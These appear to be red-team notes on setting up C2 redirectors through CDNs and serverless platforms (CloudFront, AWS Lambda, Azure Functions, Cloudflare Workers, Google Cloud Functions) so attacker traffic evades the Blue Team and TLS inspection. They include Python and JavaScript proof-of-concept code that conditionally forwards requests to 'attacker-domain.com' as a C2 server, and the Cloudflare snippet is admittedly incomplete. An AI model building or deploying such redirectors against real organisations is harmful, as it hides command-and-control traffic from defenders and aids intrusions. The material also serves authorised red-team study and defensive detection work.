Redirectors

PaaS redirectors

Evade web traffic from the Blue Team.

victime -> CloudFront -> redirector-attaker.com (intelligent redirection) -> legitimate website OR attacker website depending on request parameters.
  • Use a CDN like Amazon CloudFront or Azure CDN/Front Door
  • The Server Name Indication (SNI) and Host HTTP header contain the CloudFront address (not the attacker domain).
  • Not blocked by TLS inspection.
  • TIP: Choose the CDN depending on what the company uses.
GET / HTTP/1.1
Host: <whatever>.cloudfront.net
User-Agent...

where the attacker’s domain is associated to <whatever>.cloudfront.net.

Reverse proxy

Use a reverse proxy like Nginx or YARP (Yet Another Reverse Proxy).

Amazon

AWS Lambda executes code without a server (serverless) responding on events. It automatically manages resources. Fast development in many languages. Combine Lambda with API Gateway.

victime -> API gateway -> lambda -> attacker-domain.com

Use Amazon Lambda + API Gateway, URL format:

<random 32 chars>.lambda-url.<aws_region>.aws<api-id>.execute-api.region.amazonaws.com

Microsoft

Use Azure Functions, URL format:

<custom>.azurewebsites.net

PoC (Python) that redirects to the attacker domain when the request contains the keyword “Condition” in the User-Agent HTTP header.

@app.route(route="version", auth_level=func.AuthLevel.ANONYMOUS)
def version(req: func.HttpRequest) -> func.HttpResponse:
    UA = req.headers['User-Agent']

    netloc = urllib.parse.urlparse(req.url).netloc
    uri = str(req.url.split(netloc, 1)[1])
    get_url = "https://legitimate-domain.com"

    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE

    if ("Condition" in UA and req.method == "GET"):
        get_url = "https://attacker-domain.com" + uri
        request = urllib.request.Request(get_url, headers=req.headers)
    else:
        request = urllib.request.Request(get_url)

    with urllib.request.urlopen(request, context=ctx) as response:
        html = response.read()
    return func.HttpResponse(html)

Cloudflare

Use Cloudflare Workers, URL format:

<worker-name>.<custom>.worker.dev

PoC that redirects to the attacker domain when the request contains the “X-Custom-PSK” HTTP header with a specific value.

const PRESHARED_AUTH_HEADER_KEY = "X-Custom-PSK"

addEventListener('fetch', event => {
    event.respondWith(handleRequest(event))
})

async function handleRequest(event) {
    const request = event.request
    const path = request.url.replace("https://<whatever>.<custom>.worker.dev", "")
    const destUrl = "https://attacker-domain.com" + path

    // Fetch value of our custom header
    const psk = request.headers.get(PRESHARED_AUTH_HEADER_KEY)

    // Check header matches a predetermined value
    if (psk === "PRESHARED_AUTH_HEADER_KEY") {
        // Send received request on to C2 server
        const modifiedRequest = new Request(destUrl, {
            body: request.body,
            headers: request.headers,
            method: request.method
        })

        // SOME CODE MISSING FROM SCREENSHOT, SEEN DURING A TALK
    }
}

Google

Google Cloud Function 1rst gen is free for the first 2 million invocations per month. Beyond 2 million invocations, price is $0.40 USD for 1 million invocations.

Use Google Cloud Function (serverless). Deploy with CLI GCP. URL format:

<region-project_id>.cloudfunctions.net/<function_name>    # 1rst gen
<function_name>-<random_hash-region>.a.run.app             # 2nd gen